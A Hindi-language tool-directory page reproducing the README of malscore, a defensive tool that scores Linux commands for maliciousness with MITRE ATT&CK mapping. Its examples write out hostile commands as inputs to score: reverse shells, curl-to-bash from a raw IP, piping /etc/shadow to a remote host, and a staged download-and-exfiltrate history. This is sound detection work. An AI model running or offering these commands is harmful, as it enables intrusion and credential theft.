Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
malscore — Linux कमांड के लिए दुर्भावनापूर्णता स्कोरिंग | Kitploit
उपकरण/GitHubGitHub/raj3shp/malscore
रक्षात्मक उपकरणस्थैतिक विश्लेषणस्क्रिप्टिंग और स्वचालनमालवेयर विश्लेषणखतरा खुफियाघटना प्रतिक्रियाविसंगति का पता लगानालॉग विश्लेषण
GitHubraj3shp/malscore

malscore

Linux कमांड के लिए दुर्भावनापूर्णता स्कोरिंग

रिपॉजिटरी देखें
93122घं 33मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🦠 malscore

PyPI version Python 3.8+ License: Apache-2.0 Zero dependencies MITRE ATT&CK mapped

malscore एक Linux कमांड लाइन, या कमांडों के एक सत्र जैसे कि shell history, को लेता है और एक 0–100 दुर्भावनापूर्णता स्कोर लौटाता है, साथ में एक verdict band और MITRE ATT&CK मैपिंग:

command(s) → features → signals → score + MITRE mapping

यह कभी कुछ भी निष्पादित, विस्तारित या हल नहीं करता — यह केवल टेक्स्ट पढ़ता है (tests/test_safety.py द्वारा लागू)। इसकी Python मानक लाइब्रेरी (3.8+) के अलावा कोई निर्भरता नहीं है।


इंस्टॉल

pip install malscore       # provides the `malscore` command

स्रोत चेकआउट से:

pip install .              # or run without installing, from the repo root:
python3 -m malscore "<command>"

त्वरित शुरुआत

# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"

# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -

# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -

# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high

# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain

# machine-readable
malscore --session history.txt --json

# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high

Python API

from malscore import Analyzer

a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict)                 # 67 high
print([h.id for h in r.hits])             # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques)                       # ['T1059.004', 'T1105', 'T1071.001']

r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits])    # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command])   # each command's own assessment
print(r.as_dict())                        # JSON-ready

Analyzer(redact=True) किसी भी कमांड टेक्स्ट को वापस प्रतिध्वनित करने से पहले क्रेडेंशियल जैसे दिखने वाले मानों को छुपा देता है; स्कोर प्रभावित नहीं होते।


उदाहरण:

$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░  score  91/100  CRITICAL
  tactics: exfiltration, credential-access, command-and-control

  evidence:
    [0.60] exfiltration           Credential material is sent over the network
           T1552 T1041
    [0.55] credential-access      The password hash database (/etc/shadow) is accessed
           T1003.008
    [0.35] exfiltration           Data is sent over a raw socket
           T1048
    ...

$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c

$ malscore --session history.txt
████████████████████████  score  99/100  CRITICAL
  history.txt
  tactics: execution, defense-evasion, exfiltration, command-and-control, collection

  7 command(s), 6 flagged:
    ████████████░░░░░░░░░░░░ L2     49 medium   curl -s -o /tmp/.x http://45.33.2.1/x
    ███████░░░░░░░░░░░░░░░░░ L3     30 low      chmod +x /tmp/.x
    ███████░░░░░░░░░░░░░░░░░ L4     30 low      /tmp/.x
    ██████░░░░░░░░░░░░░░░░░░ L5     25 low      tar czf /tmp/etc.tgz /etc
    ████████░░░░░░░░░░░░░░░░ L6     35 medium   scp /tmp/etc.tgz [email protected]:/srv/
    ████████████░░░░░░░░░░░░ L7     50 medium   history -c
  signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...

एक सत्र फ़ाइल में प्रत्येक गैर-रिक्त पंक्ति एक कमांड होती है, जिसे शाब्दिक रूप से लिया जाता है: टिप्पणियों, पंक्ति निरंतरताओं या here-documents का कोई प्रबंधन नहीं होता है। --batch भिन्न है: यह JSON फ़ीड के प्रत्येक कमांड को स्वतंत्र रूप से स्कोर करता है, बिना किसी क्रॉस-कमांड विश्लेषण के।


निर्णय बैंड

स्कोरनिर्णयअर्थ
80–100criticalआकार शायद ही कभी वैध होता है (रिवर्स शेल, डिस्क वाइप, uid‑0 खाता)
60–79highमजबूत साक्ष्य; तुरंत समीक्षा करें
35–59mediumअधिकांश संदर्भों में संदिग्ध (curl‑pipe‑shell, shadow रीड)
15–34lowसंयोजन में ध्यान देने योग्य
0–14benignनियमित

बैंड और भार एक हाथ से ट्यून किया गया प्रारंभिक बिंदु हैं, न कि एक प्रशिक्षित मॉडल — स्कोर का प्रत्येक बिंदु एक नामित सिग्नल और एक MITRE ATT&CK तकनीक तक पता लगाता है।


स्कोर कैसे बनाया जाता है

  1. विशेषताएँ। कमांड को लेक्स किया जाता है (कुछ भी निष्पादित किए बिना), sudo/env/xargs जैसे रैपर खोले जाते हैं, प्रतिस्थापन और -c पेलोड में उतरा जाता है, और नियतात्मक विशेषताओं की गणना की जाती है — डाउनलोड श्रृंखलाएँ, छुए गए पथ, दृढ़ता सतहें, एन्कोडिंग चालें, और एक tradecraft समूह (malscore/tradecraft.py) जो आकार के आधार पर विशिष्ट हमलावर तकनीकों को पहचानता है।

  2. सिग्नल। malscore/signals.py लगभग 120 नामित सिग्नलों की एक सूची है: विशेषता रिकॉर्ड पर एक विधेय, (0, 1] में एक भार, एक MITRE रणनीति और तकनीक आईडी। एक भार इस प्रकार पढ़ा जाता है कि "यदि यह एकमात्र चीज़ होती जो हम जानते थे, तो यह कितनी संभावना है कि यह शत्रुतापूर्ण है"। सूची ATT&CK रणनीति के अनुसार फैली हुई है:

    • निष्पादन — डाउनलोड से इंटरप्रेटर, डिकोड किए गए पेलोड, TTY अपग्रेड, /proc/self/fd से फ़ाइललेस निष्पादन;
    • क्रेडेंशियल एक्सेस — /etc/shadow और निजी कुंजियाँ, क्लाउड मेटाडेटा, कॉन्फ़िग फ़ाइलों पर क्रेडेंशियल-कीवर्ड खोज, .pgpass/.netrc/क्लाउड क्रेडेंशियल फ़ाइलों का पढ़ना, पर्यावरण और इतिहास स्क्रैपिंग, SSH-agent हाईजैक;
    • विशेषाधिकार वृद्धि — रिवर्स शेल, sudoers संपादन, setuid, कंटेनर एस्केप, इंटरैक्टिव रूट शेल, GTFOBins शेल एस्केप, sudo -u#-1 बायपास, PATH हाईजैक;
    • संग्रह / निकासी — अभिलेखागार और डेटाबेस डंप, कार्ड नंबर / टोकन / ग्राहक डेटा रखने वाली तालिकाओं या फ़ाइलों तक पहुँच, कार्ड नंबर और SSN के लिए रेगेक्स शिकार, DNS और एन्कोडेड निकासी, पेस्ट/वेबहुक सेवाएँ;
    • रक्षा चोरी — इतिहास और लॉग छेड़छाड़, EDR/ऑडिट अक्षम करना, अपरिवर्तनीय फ़्लैग साफ़ करना, /proc बाइंड-माउंट छिपाना;
    • दृढ़ता / प्रभाव — cron, systemd, लॉगिन हुक, डिस्क वाइप, फोर्क बम, माइनर, DROP TABLE, सामूहिक प्रक्रिया हत्या।

    सामान्य संवेदनशील-डेटा नियम (कार्ड/SSN पैटर्न, डेटाबेस डंप, card, token, customer जैसे तालिका नाम) डिफ़ॉल्ट रूप से चालू रहते हैं; अपने स्वयं के डेटा के लिए malscore/tradecraft.py में SENSITIVE_TABLE_RE शब्दावली को ट्यून करें।

  3. एकत्रीकरण (noisy‑OR)। भार 1 − ∏(1 − wᵢ) के रूप में संयोजित होते हैं, इसलिए कई कमजोर सिग्नल जमा होते हैं लेकिन कभी अतिप्रवाह नहीं होते और एक मजबूत सिग्नल हावी हो जाता है। एक ही रणनीति साझा करने वाले अनावश्यक सिग्नल कम किए जाते हैं, इसलिए तीन दृढ़ता जाँचों को तीन स्वतंत्र निष्कर्षों के रूप में नहीं गिना जाता है।

  4. सत्र। एक सत्र में प्रत्येक कमांड को ऊपर के अनुसार स्कोर किया जाता है (इसका योगदान 0.9 पर सीमित, ताकि एक शोरगुल वाला कमांड एक लंबे सत्र को critical न बना दे), और फिर क्रॉस‑कमांड सिग्नल ऐसे पैटर्न खोजते हैं जो कोई एकल कमांड नहीं दिखाता — एक फ़ाइल जो पहले डाउनलोड की गई और बाद में चलाई गई, डेटा जो स्टेज किया गया (डंप, संग्रहीत या संपीड़ित) और बाद में scp से दूर भेजा गया, विशेषाधिकार वृद्धि के बाद क्रेडेंशियल एक्सेस, क्रेडेंशियल एक्सेस के बाद अपलोड, भेजे जाने के बाद स्टेज किया गया डेटा हटाया गया, डाउनलोड प्लस दृढ़ता, गतिविधि के बाद इतिहास/लॉग साफ़ करना, या तीन या अधिक रणनीतियों में फैली गतिविधि।

टूल डाउनलोड करें